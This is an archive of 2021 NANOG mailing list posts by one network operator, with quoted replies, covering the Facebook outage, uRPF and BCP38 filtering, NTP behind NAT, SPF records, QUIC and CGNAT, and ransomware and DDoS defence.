> and it does. Even if it has to remove half the operating system to 
> satisfy the dependencies. If you want it to do something reasonable, 
> say throw an error because you didn't actually tell it to remove half 
> the operating system, you have a choice: spin up a fork of chef with a 
> couple patches to the chef-rpm interaction or just monkey-patch it in 
> one of your chef recipes.
> 
> Regards,
> Bill Herrin
> 
> --
> William Herrin
> b...@herrin.us
> https://bill.herrin.us/

RE: massive facebook outage presently

[Jean St-Laurent via NANOG]

The glue records for the NS are set at 48 hours.

 

dig @c.gtld-servers.net. facebook.com. NS

;;

facebook.com.   172800  IN  NS  a.ns.facebook.com.

facebook.com.   172800  IN  NS  b.ns.facebook.com.

facebook.com.   172800  IN  NS  c.ns.facebook.com.

facebook.com.   172800  IN  NS  d.ns.facebook.com.

 

What happens if the NS aren’t back within 48 hours? 

 

Jean

 

From: NANOG  On Behalf Of Eric Kuhnke
Sent: October 4, 2021 4:33 PM
To: Jay Hennigan ; nanog@nanog.org list 
Subject: Re: massive facebook outage presently

 

I am starting to see reports that in ISPs with very large numbers of 
residential users, customers are starting to press the factory-reset buttons on 
their home routers/modems/whatever, in an attempt to make Facebook work. This 
is resulting in much heavier than normal first tier support volumes. The longer 
it stays down the worse this is going to get.

 

 

 

On Mon, Oct 4, 2021 at 3:30 PM Jay Hennigan mailto:j...@west.net> > wrote:

On 10/4/21 12:11, b...@theworld.com   wrote:
> 
> Although I believe it's generally true that if a company appears
> prominently in the news it's liable to be attacked I assume because
> the miscreants sit around thinking "hmm, who shall we attack today oh
> look at that shiny headline!" I'd hate to ascribe any altruistic
> motivation w/o some evidence like even a credible twitter post (maybe
> they posted that on FB? :-)

I personally believe that the outage was caused by human error and not 
something malicious. Time will tell.

However, if you missed the 60 Minutes piece, it was a former employee 
who spoke out with some rather powerful observations. I don't think that 
this type of worldwide outage was caused by an outside bad actor. It is 
certainly within the realm of possibility that it was an inside job.

In other news:

https://twitter.com/disclosetv/status/1445100931947892736?s=20

-- 
Jay Hennigan - j...@west.net  
Network Engineering - CCIE #7880
503 897-8550 - WB6RDV

RE: massive facebook outage presently

[Jean St-Laurent via NANOG]

Maybe the key to solve this issue is in an email sent to 
some_very_important_t...@facebook.com

-Original Message-
From: NANOG  On Behalf Of tomocha
Sent: October 4, 2021 2:32 PM
To: nanog@nanog.org
Subject: Re: massive facebook outage presently

Hi

Some of the DNS addresses are no longer prefix from AS32934.



On 2021/10/05 1:23, Hugo Slabbert wrote:
> Looks like their auth DNS dropped out of the DFZ:
> 
> https://twitter.com/g_bonfiglio/status/1445056923309649926?s=20
> https://twitter.com/g_bonfiglio/status/1445058771261313046?s=20
> 
> 

RE: slack.com

[Jean St-Laurent via NANOG]

Friday is always a good day to do such change. :D

-Original Message-
From: NANOG  On Behalf Of Mark Tinka
Sent: October 2, 2021 2:17 AM
To: Bill Woodcock 
Cc: nanog@nanog.org
Subject: Re: slack.com



On 10/2/21 08:14, Bill Woodcock wrote:

> We did not use an NTA, but we did flush our cache immediately once 
> Slack had fixed their problem.  I think that’s the right balance of 
> carrot and stick.

Tend to agree with this approach.

But I can see how an issue like this could be potentially religious. 
DNSSEC deployment rate is bad enough, as it is.

Mark.

RE: uPRF strict more

[Jean St-Laurent via NANOG]

I understand better why some prefer acl vs uRpf. 

For sure, forwarding 400 Gbps of 80B frames is a sign that something bad is 
happening. 😉

Jean

-Original Message-
From: brad dreisbach  
Sent: September 29, 2021 4:18 PM
To: Jean St-Laurent 
Cc: 'brad dreisbach' ; 'Phil Bedard' ; 
'North American Network Operators' Group' 
Subject: Re: uPRF strict more

On Wed, Sep 29, 2021 at 04:07:19PM -0400, Jean St-Laurent wrote:
>Thanks a lot for sharing.
>
>So 100 Gbps at line rate with 80B frames is about ~150 Mpps.
>
>100 Gbps at line rate with 208B frames is about ~60 Mpps.
>
>It's a significant penalty.

and keep in kind the 4x100 card is 1 port per NPU. they make an 8x100 where the 
NPU's are shared. it gets even worse. not to single out cisco, this is just how 
urpf works. juniper had similar penalties, i just cant find the numbers.

-b

>
>Jean
>
>-Original Message-
>From: brad dreisbach 
>Sent: September 29, 2021 3:33 PM
>To: Jean St-Laurent 
>Cc: 'brad dreisbach' ; 'Phil Bedard' 
>; 'North American Network Operators' Group' 
>
>Subject: Re: uPRF strict more
>
>On Wed, Sep 29, 2021 at 02:54:43PM -0400, Jean St-Laurent wrote:
>>Hi Brad,
>>
>>I'd be interested to hear more about this pps penalty. Do we talk about 5% 
>>penalty or something closer to 50%?
>>
>>Let me know if you still have some numbers close to you related to PPS with 
>>uRPF loose.
>
>iirc, strict vs loose doesnt matter, its still an extra lookup which effects 
>the performance. i was able to find some numbers to give an example.
>
>the 4x100G tomahawk card was able to pass min frame size(which iirc on 
>ixia is
>80B) at line rate with no features enabled. turn on uRPF and it is only able 
>to pass 208B frames at line rate.
>
>similar results were seen with several generations of cisco and juniper line 
>cards(if i tested nokia i cant recall, we had stopped doing urpf when they 
>were introduced into the network).
>
>-b
>

RE: uPRF strict more

[Jean St-Laurent via NANOG]

Thanks a lot for sharing.

So 100 Gbps at line rate with 80B frames is about ~150 Mpps.

100 Gbps at line rate with 208B frames is about ~60 Mpps.

It's a significant penalty.

Jean

-Original Message-
From: brad dreisbach  
Sent: September 29, 2021 3:33 PM
To: Jean St-Laurent 
Cc: 'brad dreisbach' ; 'Phil Bedard' ; 
'North American Network Operators' Group' 
Subject: Re: uPRF strict more

On Wed, Sep 29, 2021 at 02:54:43PM -0400, Jean St-Laurent wrote:
>Hi Brad,
>
>I'd be interested to hear more about this pps penalty. Do we talk about 5% 
>penalty or something closer to 50%?
>
>Let me know if you still have some numbers close to you related to PPS with 
>uRPF loose.

iirc, strict vs loose doesnt matter, its still an extra lookup which effects 
the performance. i was able to find some numbers to give an example.

the 4x100G tomahawk card was able to pass min frame size(which iirc on ixia is
80B) at line rate with no features enabled. turn on uRPF and it is only able to 
pass 208B frames at line rate.

similar results were seen with several generations of cisco and juniper line 
cards(if i tested nokia i cant recall, we had stopped doing urpf when they were 
introduced into the network).

-b

RE: uPRF strict more

[Jean St-Laurent via NANOG]

Hi Brad,

I'd be interested to hear more about this pps penalty. Do we talk about 5% 
penalty or something closer to 50%? 

Let me know if you still have some numbers close to you related to PPS with 
uRPF loose.

Thanks
Jean


-Original Message-
From: NANOG  On Behalf Of brad 
dreisbach
Sent: September 29, 2021 2:35 PM
To: Phil Bedard 
Cc: North American Network Operators' Group 
Subject: Re: uPRF strict more

On Wed, Sep 29, 2021 at 06:14:21PM +, Phil Bedard wrote:
>Disclosure I work for Cisco and try to look after some of their peering 
>guidelines.
>
>Agree with Adam’s statement, use uRPF on edge DIA customers.  Using it 
>elsewhere on the network eventually is going to cause some issue and its 
>usefulness today is almost nil.  That being said we still see large providers 
>who have it turned on for peering/transit interfaces either out of legacy 
>configuration or other reasons.  The vast majority do not use it for those 
>interface roles.

uRPF incurs a quite severe pps penalty on all of the NPUs i've ever tested.
we have dabbled with it many times over the years and always eventually end up 
turning it off(for good this last time, probably).

-b

>
>Phil
>
>From: NANOG  on behalf 
>of Adam Thompson 
>Date: Wednesday, September 29, 2021 at 1:08 PM
>To: Amir Herzberg , Randy Bush 
>Cc: North American Network Operators' Group 
>Subject: Re: uPRF strict more
>We just ran into a typical case where uRPF caused a partial outage for one of 
>my customers: the customer is multi-homed, with another provider that I'm 
>also​ connected to.  Customer advertised a longer-prefix to the other guy, so 
>I started sending traffic destined for Customer to the Other Provider... who 
>then promptly dropped it because they had uRPF enabled on the peering link, 
>and they were seeing random source IPs that weren't mine.  Well... yeah, that 
>can happen (semi-legitimately) anytime you have a topological triangle in 
>peering.
>
>I've concluded over the last 2 years that uRPF is only​ useful on interfaces 
>pointing directly at non-multi-homed customers, and actively dangerous 
>anywhere else.
>
>-Adam
>
>Adam Thompson
>Consultant, Infrastructure Services
>[1593169877849]
>100 - 135 Innovation Drive
>Winnipeg, MB, R3T 6A8
>(204) 977-6824 or 1-800-430-6404 (MB only) 
>athomp...@merlin.mb.ca
>www.merlin.mb.ca
>
>From: NANOG  on behalf 
>of Amir Herzberg 
>Sent: September 28, 2021 20:06
>To: Randy Bush 
>Cc: North American Network Operators' Group 
>Subject: Re: uPRF strict more
>
>Randy, great question. I'm teaching that it's very rarely, if ever, used (due 
>to high potential for benign loss); it's always great to be either confirmed 
>or corrected...
>
>So if anyone replies just to Randy - pls cc me too (or, Randy, if you 
>could sum up and send to list or me - thanks!)
>
>Amir
>--
>Amir Herzberg
>
>Comcast professor of Security Innovations, Computer Science and 
>Engineering, University of Connecticut
>Homepage: https://sites.google.com/site/amirherzberg/home
>`Applied Introduction to Cryptography' textbook and lectures: 
>https://sites.google.com/site/amirherzberg/applied-crypto-textbooks://sites.google.com/site/amirherzberg/applied-crypto-textbook>
>
>
>
>
>On Tue, Sep 28, 2021 at 8:50 PM Randy Bush 
>mailto:ra...@psg.com>> wrote:
>do folk use uPRF strict mode?  i always worried about the multi-homed 
>customer sending packets out the other way which loop back to me;  see 
>RFC 8704 §2.2
>
>do vendors implement the complexity of 8704; and, if so, do operators 
>use it?
>
>clue bat please
>
>randy

RE: Anyone else expereincing phone line issues from west to east ?

[Jean St-Laurent via NANOG]

It’s still on going?

 

It’s been more than a week now. I thought these were resolve already.

 

Ransomware are down since few months. I guess that’s why DDoS with ransom are 
back on the rise.

 

Jean

 

From: NANOG  On Behalf Of Mel Beckman
Sent: September 27, 2021 5:56 PM
To: babydr DBA James W. Laferriere 
Cc: Nanog 
Subject: Re: Anyone else expereincing phone line issues from west to east ?

 

Both VoIP.ms and Bandwidth.com   are getting serious UDP 
DDoS attacks. It’s affecting some cell carriers as well that have TDM-to-IP 
conversions in their PSTN. Check on SlashDot for a nice summary. 

 

 -mel

 

On Sep 27, 2021, at 2:49 PM, babydr DBA James W. Laferriere 
mailto:bab...@baby-dragons.com> > wrote:

 

Hello All ,  Anyone else expereincing phone line issues from west to east ?
Just tried calling back east and not even a all lines are busy signal .

Tia ,  JimL
-- 
+-+
| James   W.   Laferriere| SystemTechniques | Give me VMS |
| Network & System Engineer  | 3237 Holden Road |  Give me Linux  |
| j...@system-techniques.com | Fairbanks, AK. 99709 |   only  on  AXP |
+-+

 

RE: Where to get IPv4 block these day

[Jean St-Laurent via NANOG]

What is the average price per ip  address for /24 with good reputation vs /24 
with questionable reputation?

 

Can you extrapolate too to /21 and /20?

 

Jean

 

From: NANOG  On Behalf Of Tony Wicks
Sent: August 5, 2021 4:08 PM
To: 'NANOG' 
Subject: RE: Where to get IPv4 block these day

 

Contact eddie at   iptrading.com , I have used 
their services several times and never had any issues.

 

 

 

On Wed, Aug 4, 2021 at 23:35 Alex Wacker mailto:a...@alexwacker.com> > wrote:

Ipv4.global is very reliable. I’ve sold blocks there

 

On Thu, Aug 5, 2021 at 1:28 AM james jones mailto:james.v...@gmail.com> > wrote:

hey everyone,

 

Been a while since I had to deal with NetOps stuff. Was wondering, where do you 
go these days to get IPv4 blocks? It seems like getting assignments is hard due 
to exhaustion. I have found some "Auction" sites but it all feels very scammy. 
Any info would be appreciated.

 

 

-James

RE: Layer 2 based anycast - Kind like GLBP - Research

[Jean St-Laurent via NANOG]

Maybe a spine and leaf architecture could work for you. 

 

You could install 1 server per leaf or more. I believe this could achieve 
high-availability and load-balancing at layer 2.

 

There is a kind of layer 3 overlay, but for the hosts this is transparent and 
it feels like a real pure layer 2. 

 

I would go that route as it is also a very common setup these days. It scales 
well horizontally and no active/passive. It’s just 
active/active/active/active…./active.

 

Jean

RE: shadowserver.org

[Jean St-Laurent via NANOG]

Great list. 

ShadowServer is there twice on page 7. They must be noisy 😉

Jean

-Original Message-
From: NANOG  On Behalf Of Hank 
Nussbacher
Sent: June 28, 2021 2:50 PM
To: nanog@nanog.org
Subject: Re: shadowserver.org

> What is the difference between shodan.io and shadowserver.org ? Jean
Just those 2?  Greynoise maps them all.  See an old preso from 2018:
https://www.slideshare.net/andrewwantsyou/identifying-and-correlating-internetwide-scan-traffic-to-newsworthy-security-events
See slide 7 for a 4 year old list which has only grown :-)

-Hank

RE: shadowserver.org

[Jean St-Laurent via NANOG]

What is the difference between shodan.io and shadowserver.org ?

Jean

RE: Can somebody explain these ransomwear attacks?

[Jean St-Laurent via NANOG]

I agree with you that 100% secure is not achievable. 

 

The goal is to make your business very difficult to hack that it is no longer 
economically viable for terrorists to attack it in the first place.

 

That’s the best insurance you can give to your business.

 

Jean

RE: Can somebody explain these ransomwear attacks?

[Jean St-Laurent via NANOG]

Hi Jim,

Very nice text from you and you seem to offer good hints on how to stop it long 
term.

The reality is that USA is going in the direct opposing direction that you 
express.

The payment to ransomware gangs is now tax-deductible.

"Extorted by ransomware gangs? The payments may be tax-deductible". 
Published June 21st.
https://www.cbsnews.com/news/ransomware-payments-may-be-tax-deductible/

Again from cbsnews. Not sure if we can rely on them to report accurate news?

Jean

-Original Message-
From: NANOG  On Behalf Of Jim
Sent: June 25, 2021 8:26 AM
To: Brandon Svec 
Cc: nanog@nanog.org
Subject: Re: Can somebody explain these ransomwear attacks?

On Thu, Jun 24, 2021 at 5:41 PM Brandon Svec via NANOG  wrote:
>
> I think a big problem may be that the ransom is actually very cost effective 
> and probably the lowest line item cost in many of these situations where 
> large revenue streams are interrupted and time=money (and maybe also health 
> or life).

Big problem that with organizations' existing Disaster Recovery DR methods -- 
the time and cost to recovery from any event including downtime will be some 
amount.. likely a high one, and criminals' ransom demands will presumably be 
set as high a price as they think they can get -- but still orders of 
magnitudes less than cost to recover / repair / restore, and the downtime may 
be less.

The  ransom price becomes the perceived cost of paying from the perspective of 
the organizations faced with the decision,  But the actual cost to the whole 
world of them paying a ransom is much higher and will be borne by others 
(And/or themselves if they are unlucky) in the future, when their having paid 
the criminals encourages and causes more and more of that nefarious activity.

I would call that a regulatory issue regarding commerce and payments not able 
to be addressed by technology.

No matter how much companies can improve your DR process to cost less for a 
recovery and take less time -- a recovery is bound to still involve some 
downtime and cost a large enough amount  where it will then be possible for 
motivated criminals to come up with a dollars cost improvement for a ransom 
that will be less than it.

I do wonder for a moment.. about companies paying ransoms: Do they somehow 
manage to get the crooks' W-9 and verify their identity, as required when an 
organization makes a payment to any 3rd party -- or do those paying ransoms 
somehow circumvent the mandatory tax reporting and witholdings,  B/c it seems 
like making a payment to an Unnamed / unidentified / unverifiable party ought 
to be a crime  or make the payor be considered an accomplice in the crooks' 
evasion of the taxing authority?

I always think.. have the governments impose penalties, eg.
"If you make a payment for a ransom, then a penalty of  $10k plus 1% the 
ransom will be due."
/ Have it be a more-severely penalized crime to send any digital payment for a 
transaction above X say $1000 without the Proof of Identity and Physical 
location of all Payees -- make sure it gets enforced strictly against anyone 
paying a ransom.
Make the ransoms not payable without larger repurcussions, and perhaps the 
crooks will have to find a new profession.

>
> The original thought that it should be handled like standard DR and tighten 
> up security may apply to very small businesses though where they could afford 
> to try to ignore the ransom request and rebuild more securely hoping the 
> criminals will move on and not come back for revenge.
>
--
-Jim

RE: Can somebody explain these ransomwear attacks?

[Jean St-Laurent via NANOG]

Here are some facts that it’s important to not pay them.

 

80% of ransomware victims suffer repeat attacks, according to new report

 

 

https://www.cbsnews.com/news/ransomware-victims-suffer-repeat-attacks-new-report/

 

published June 17th 2021

 

Don’t pay them. Just clean your mess. 😊

 

Jean

 

From: NANOG  On Behalf Of Michael 
Thomas
Sent: June 24, 2021 5:59 PM
To: JoeSox 
Cc: nanog@nanog.org
Subject: Re: Can somebody explain these ransomwear attacks?

 

 

On 6/24/21 2:55 PM, JoeSox wrote:




It gets tricky when 'your' company will lose money $$$ while you wait a month 
to restore from your cloud backups.

So Executives roll the dice to see if service can be restored quickly as 
possible keeping shareholders and customers happy as possible.

 

But if you pay without finding how they got in, they could turn around and do 
it again, or sell it on the dark web, right?

Mike





 

On Thu, Jun 24, 2021 at 2:44 PM Michael Thomas mailto:m...@mtcc.com> > wrote:


Not exactly network but maybe, but certainly operational. Shouldn't this 
just be handled like disaster recovery? I haven't looked into this much, 
but it sounds like the only way to stop it is to stop paying the crooks. 
There is also the obvious problem that if they got in, something (or 
someone) is compromised that needs to be cleaned which sounds sort of 
like DR again to me.

Mike

RE: NAT devices not translating privileged ports

[Jean St-Laurent via NANOG]

Let's start with this example. When I click sync my clock in windows, this 
happened. 

On the inside or Private side
08:15:07.434344 IP 192.168.254.205.123 > 13.86.101.172.123: NTPv3, Client, 
length 48
08:15:07.473681 IP 13.86.101.172.123 > 192.168.254.205.123: NTPv3, Server, 
length 48

You are indeed right that the client must use UDP port 123. Is the RFC saying 
must or should on the client SRC port? I'm not sure.

But, on the Public, this happened.
08:15:07.434381 IP 192.2XX.XXX.58291 > 13.86.101.172.123: NTPv3, Client, length 
48
08:15:07.473656 IP 13.86.101.172.123 > 192.2XX.XXX.58291: NTPv3, Server, length 
48

// Public ip obfuscated. I know, it indeed starts with 192.2. It's EBOX in 
Canada.

What we see on the public side, is that a network device did a NAT translation 
of the SRC UDP port to 58921. My clock synced perfectly.

So your goal is to find the devices that don't follow this behaviour, right?

Jean


-Original Message-
From: Fernando Gont  
Sent: June 10, 2021 7:09 AM
To: j...@ddostest.me; nanog@nanog.org
Subject: Re: NAT devices not translating privileged ports

Hi, Jean,

On Thu, 2021-06-10 at 06:54 -0400, Jean St-Laurent via NANOG wrote:
> Hi Fernando,
> 
> NTP sounds simple but it could be very complex when you dig deep down 
> and/or get lost in details.
> Here are 2 things to consider:
> 
> 1. NTP clients can query NTP servers by using SRC UDP ports > 1024. 

This is indeed the case we're addressing. The NTP spec mandates srt port=123, 
even for client-to-server cases.

RE: NAT devices not translating privileged ports

[Jean St-Laurent via NANOG]

Hi Fernando,

NTP sounds simple but it could be very complex when you dig deep down and/or 
get lost in details. 
Here are 2 things to consider:

1. NTP clients can query NTP servers by using SRC UDP ports > 1024. 
2. NTP servers cannot query/sync/communicate to  another NTP server when using 
SRC UDP port > 1024.

In short, server to server wants SRC and DST UDP 123.  The query and the 
response will be fully 123 when server to server.

In your case, it sounds like you want to achieve NTP server to NTP server, but 
you mention NTP clients behind NAT devices. 

Because multiple clients behind the same NAT devices should work. Multiple NTP 
servers behind the same NAT and wanting to use other NTP server *should* not 
work.

Can you give us more details on what kind of communication you need here? From 
what I understand client to server should work just fine with any NAT devices. 

Maybe you meant multiple NTP servers behind the same NAT to external NTP server?

Thanks
Jean

RE: BCP38 on public-facing Ubuntu servers

[Jean St-Laurent via NANOG]

Bingo! 

With the -t raw, you can bypass the 1.2 Mpps limitation in iptables per 
cpusocket, because it's doing a very early drop without crossing the full 
iptables kernel modules.

You can reach close to wrirespeed with the -t raw compare to using the same 
iptables without -t raw.

Jean

-Original Message-
From: NANOG  On Behalf Of Fran via 
NANOG
Sent: June 8, 2021 5:39 PM
To: nanog@nanog.org
Subject: Re: BCP38 on public-facing Ubuntu servers

Hey,



to my knowledge there is no IPv6 equivalent for net.ipv4.conf.all.rp_filter.

Therefore I use netfilter to do the RP filtering for both address families.



ip(6)tables -t raw -I PREROUTING -m rpfilter --invert -j DROP



Using the raw tables less resources are used, but you could also choose other 
tables.
Details abour rpfilter can be found here [1].


This can also be achieved using nftables [2].


Best

Fran

[1] https://ipset.netfilter.org/iptables-extensions.man.html#lbBX
[2] 
https://wiki.nftables.org/wiki-nftables/index.php/Matching_routing_information



On 04.06.21 20:43, Jay Vosburgh wrote:
> Grant Taylor via NANOG  wrote:
> 
>> On 6/3/21 8:44 AM, William Herrin wrote:
>>> rp_filter is great until your network is slightly less than a 
>>> perfect hierarchy. Then your Linux "router" starts mysteriously 
>>> dropping packets and, as with allow_local, Linux doesn't have any 
>>> way to generate logs about it so you end up with these mysteriously 
>>> unexplained packet discards matching no conceivable rule in 
>>> iptables... This failure has too often been the bane of my existence 
>>> when using Linux for advanced networking.
>>
>> I don't remember the particulars, but I thought that was the domain 
>> of log_martians (net.ipv4.conf.*.log_martians).
>>
>> Without log_martians or explicitly looking for such, no, you won't 
>> get any indication of such drops.
> 
>   Yes, enabling the log_martians sysctl will generate a kernel log 
> message for each rp_filter failure (subject to rate limiting).  There 
> are also stat counters in /proc/net/stat/rt_cache (one line per CPU) 
> for in_martian_dst and in_martian_src which increment regardless of 
> the log_martians setting.
> 
>   The rp_filter sysctl defaults to strict mode (== 1) on Ubuntu, but 
> can be set to loose mode (== 2); the difference is, essentially, in 
> strict mode the reverse path must be the same interface as the ingress 
> interface, whereas in loose mode the reverse path can be any interface 
> (as long as the source address is reachable).
> 
> https://www.kernel.org/doc/Documentation/networking/ip-sysctl.rst
> 
>   -J
> 
> ---
>   -Jay Vosburgh, jay.vosbu...@canonical.com
> 

RE: amazon.com multiple SPF records

[Jean St-Laurent via NANOG]

Thanks for the update.

 

Is amazon publishing that old techno since long time or it just appeared 
recently?

 

I don’t recall seeing that with amazon-ses.com.

 

Jean

 

From: NANOG  On Behalf Of Matthew V
Sent: June 7, 2021 2:07 PM
To: nanog@nanog.org
Subject: Re: amazon.com multiple SPF records

 

On 2021-06-07 1:17 p.m., Jean St-Laurent via NANOG wrote:

What is spf2.0/pra ?

 

Is this new?

 

This is the old (now widely abandoned/depreciated) Sender ID standard.

~
Matt

RE: amazon.com multiple SPF records

[Jean St-Laurent via NANOG]

What is spf2.0/pra ?

 

Is this new?

 

Jean

 

From: NANOG  On Behalf Of Alec 
Peterson
Sent: June 7, 2021 10:35 AM
To: Brad Barnett 
Cc: nanog@nanog.org
Subject: Re: amazon.com multiple SPF records

 

Hmm, are you sure?

 

[ec2-user@ip-10-0-0-50 ~]$ dig amazon.com   txt +short|grep 
spf
"v=spf1 include:spf1.amazon.com   
include:spf2.amazon.com   include:amazonses.com 
  -all"
"spf2.0/pra include:spf1.amazon.com   
include:spf2.amazon.com   include:amazonses.com 
  -all"
[ec2-user@ip-10-0-0-50 ~]$ 

 

On Mon, Jun 7, 2021 at 7:22 AM Brad Barnett mailto:li...@l8r.net> > wrote:


If anyone at Amazon is paying attention, you have duplicate spf1 records
for amazon.com  :

# dig -t TXT amazon.com   | grep spf
amazon.com  . 281 IN  TXT 
"spf2.0/pra include:spf1.amazon.com   
include:spf2.amazon.com   include:amazonses.com 
  -all"
amazon.com  . 281 IN  TXT "v=spf1 
include: amazon.com   include:spf1.amazon.com 
  include:spf2.amazon.com   
include:amazonses.com   -all"
amazon.com  . 281 IN  TXT "v=spf1 
include:spf1.amazon.com   include:spf2.amazon.com 
  include:amazonses.com   -all"

It's causing mail deliverability issues, so users cannot reset their
password, or even get OTP codes reliably.

(I don't know where else to post, as whois/arin contacts aren't
responding, and I can't even imagine trying to go through other methods
of support...)

RE: NAT devices not translating privileged ports

[Jean St-Laurent via NANOG]

I believe all devices will translate a privileged ports, but it won't translate 
to the same number on the other side. It will translate to an unprivileged 
port. Is it what you meant or really there are some devices that will not 
translate at all a privileged port?

What are you trying to achieve?

Jean

-Original Message-
From: NANOG  On Behalf Of Fernando 
Gont
Sent: June 4, 2021 3:00 AM
To: nanog@nanog.org
Subject: NAT devices not translating privileged ports

Folks,

While discussing port randomization (in the context of 
https://www.ietf.org/archive/id/draft-ietf-ntp-port-randomization-06.txt
), it has been raised to us that some NAT devices do not translate the source 
port if the source port is a privileged port (<1024).

Any clues/examples of this type of NATs?

Thanks!

Regards,
--
Fernando Gont
Director of Information Security
EdgeUno, Inc.
PGP Fingerprint: DFBD 63E3 B248 AE79 C598 AF23 EBAE DA03 0644 1531

RE: BCP38 on public-facing Ubuntu servers

[Jean St-Laurent via NANOG]

Maybe you can explore the in kernel feature call RP filter or reverse path 
filter. In router gear it's called uRPF.

cat /proc/sys/net/ipv4/conf/default/rp_filter

There are 2 modes: Loose or strict. 

If your server is BGP multi-homed, then you must use loose. Loose is still very 
powerful and useful.

Basically, RP is doing what a router does, but the opposite way. When a packet 
arrives on your server, it checks the routing table for destination next-hop 
and RP also check whether the frames arrived from the good source interface. If 
your routing is asymmetric or spoofed, then RP drops it.
It's a nice feature, but it's doing a double route checkup so for sure, it's 
slightly slower. I'm not sure we can say that it's twice slower though.

I assume your network is not asymmetric, so RP would help you for ingress 
traffic. For egress, then add blackholes routes to /dev/null interface or with 
the bogon scripts in python. I wouldn't use iptables for that as it's purely 
routing, but there are many ways to achieve the same goal.

I recommend to explore the rp_filter as it might do what you're looking for.

As a side note, iptables is super slow when under attack and/or under heavy 
load. 
There are a lot of limitations, like the kernel can only forward ~1.4 Mpps per 
cpu/socket with iptables. It's too slow slow in my opinion and this was still 
true recently, but I can't confirm with the latest 5.x kernel. It could have 
been fix or improve.

Finally, can you share with us which provider doesn't filter BCP38 in their 
uplink? #JustCurious. 😊

Jean



-Original Message-
From: NANOG  On Behalf Of Stephen 
Satchell
Sent: June 2, 2021 12:41 AM
To: nanog@nanog.org; sa...@ine.com
Subject: BCP38 on public-facing Ubuntu servers

Not every uplink service implements BCP38.  When putting up servers connected 
more-or-less directly to the Internet through these uplinks, it would be nice 
if the servers themselves were able to implement ingress and egress filtering 
according to BCP38.  (Sorry about the typo in the subject lines of my previous 
message -- not everyone can get a BGP feed.)

(Or, when using Ubuntu server edition to implement edge routers.)

My earlier query was asking if anyone has encoded the blackhole routes in YAML 
for inserting in netplan(5).  My prior message contains the routes to be 
blackholed.  That takes care of egress routing.

(I think I can write a Python program to take my list and convert it to the 
YAML that netplan(5) wants to see.  That way, the routes are inserted when the 
public interface is up, and removed when the public interface is down.)

Ingress routing appears to be one-line addition.  IPTABLES can be told to weed 
out packets with unroutable source addresses.  My experiments will add 
something like this line to the firewall:

# iptables -A INPUT -m addrtype -i enp1s0 --src-type BLACKHOLE -j DROP

THIS HAS NOT BEEN VERIFIED.  I'm building a web server that will integrate this 
idea, and try it out.

RE: QUIC, Connection IDs and NAT

[Jean St-Laurent via NANOG]

Hey Rob, quick question for you. 

Are you able to see the connection ID when you are forwarding the frames and
doing NAT? 

I thought this is encrypted. Can you confirm?

Thanks
Jean

-Original Message-
From: NANOG  On Behalf Of Jean
St-Laurent via NANOG
Sent: June 1, 2021 6:51 AM
To: 'The source of all things networking' 
Subject: RE: QUIC, Connection IDs and NAT

The first thing that comes to mind is to check the NAT timers.

By default, TCP is 86400 seconds or 24h.
Udp is usually shorter at around 300 seconds or 5 minutes.

This is not a standard, but it seems to be broadly accepted in the industry.

I am not sure, if UDP/443 should be left at 300 or increase a bit.

Anyone?
Jean

P.S.: I'm not a fan of Quic. It's opening the gates to massive DDoS for
Akamai and all the others CDN. Good luck

-Original Message-
From: NANOG  On Behalf Of Robert
Brockway
Sent: May 31, 2021 11:15 PM
To: The source of all things networking 
Subject: QUIC, Connection IDs and NAT

QUIC has Connection IDs independent from IP.  This was done to make it
easier to move from one IP network to another while keeping connections
active, as most here will know.

Does the existence of Connection IDs separate from IP mean that the host/IP
contention ratio in CGNAT can be higher?  IE, can a single CGNAT device
provide Internet access for a greater number of end-users?

And if so, does this reduce demand on IPv4 resources?

It's ok, I'm wearing a fire-resistant suit with self-contained breathing
apparatus as I type this.

Rob

RE: QUIC, Connection IDs and NAT

[Jean St-Laurent via NANOG]

The first thing that comes to mind is to check the NAT timers.

By default, TCP is 86400 seconds or 24h.
Udp is usually shorter at around 300 seconds or 5 minutes.

This is not a standard, but it seems to be broadly accepted in the industry.

I am not sure, if UDP/443 should be left at 300 or increase a bit.

Anyone?
Jean

P.S.: I'm not a fan of Quic. It's opening the gates to massive DDoS for
Akamai and all the others CDN. Good luck

-Original Message-
From: NANOG  On Behalf Of Robert
Brockway
Sent: May 31, 2021 11:15 PM
To: The source of all things networking 
Subject: QUIC, Connection IDs and NAT

QUIC has Connection IDs independent from IP.  This was done to make it
easier to move from one IP network to another while keeping connections
active, as most here will know.

Does the existence of Connection IDs separate from IP mean that the host/IP
contention ratio in CGNAT can be higher?  IE, can a single CGNAT device
provide Internet access for a greater number of end-users?

And if so, does this reduce demand on IPv4 resources?

It's ok, I'm wearing a fire-resistant suit with self-contained breathing
apparatus as I type this.

Rob

RE: DDoS attack with blackmail

[Jean St-Laurent via NANOG]

I don’t believe that these companies are complicit at high level. 

My guess is that there are some business salesmen working there that needs to 
fulfill their monthly quota of new clients. 

 

What is usually common, is that when face by a DDoS for the first time without 
the  proper tooling, it sounds like it’s an impossible task to solve. The 
knowledge on internet is pretty limited on the topic. 

It takes months and sometimes years to configure all the DDoS gates. Rolland’s 
ppt is a nice place to start as it has valuable knowledge. It’s just tough to 
figure out what is best for you.

 

The truth is, it will be more beneficial to your organisation in the 
medium/long term if you start learning and improving your DDoS defenses now 
than to rely 100% on DDoS mitigators. 

These companies are fantastic when you protect slow assets like Credit card 
transactions. The customer don’t really care if his transaction to validate the 
CC takes 4 seconds instead of 3.

 

In the end, DDoS mitigations is not more complex than what you are used to do 
daily. Protect your routers, protect the control-plane, protect the SSH lines, 
etc. It’s just a different kind of protections.

 

Let me know if you need some advices or hints, because I’ve spent some freaking 
long hours fighting them and together we have a better chance to win and not 
pay ransom from blackmails. 

I don’t have all the answers on DDoS, but maybe I have the one that you are 
looking for.

 

The moment you become very resilient to DDoS attacks, your customers will thank 
you and also support staff that will see the DDoS bounce like mosquitoes on the 
windshield of your car at 90 Mph.

 

Start learning now and start improving your DDoS. This won’t go away anytime 
soon.

 

Jean

 

 

From: jim deleskie  
Sent: May 24, 2021 12:38 PM
To: Jean St-Laurent 
Cc: NANOG Operators' Group 
Subject: Re: DDoS attack with blackmail

 

While I have no design to engage in over email argument over how much latency 
people can actually tolerate, I will simply state that most people have a very 
poor understanding of it and how much additional latency is really introduced 
by DDoS mitigation.

 

As for implying that DDoS mitigation companies are complicit or involved in 
attacks, while not the first time i heard that crap it's pretty offensive to 
those that work long hours for years dealing with the garbage.  If you honestly 
believe anyone your dealing with is involved with launching attacks you clearly 
have not done your research into potential partners.

 

 

 

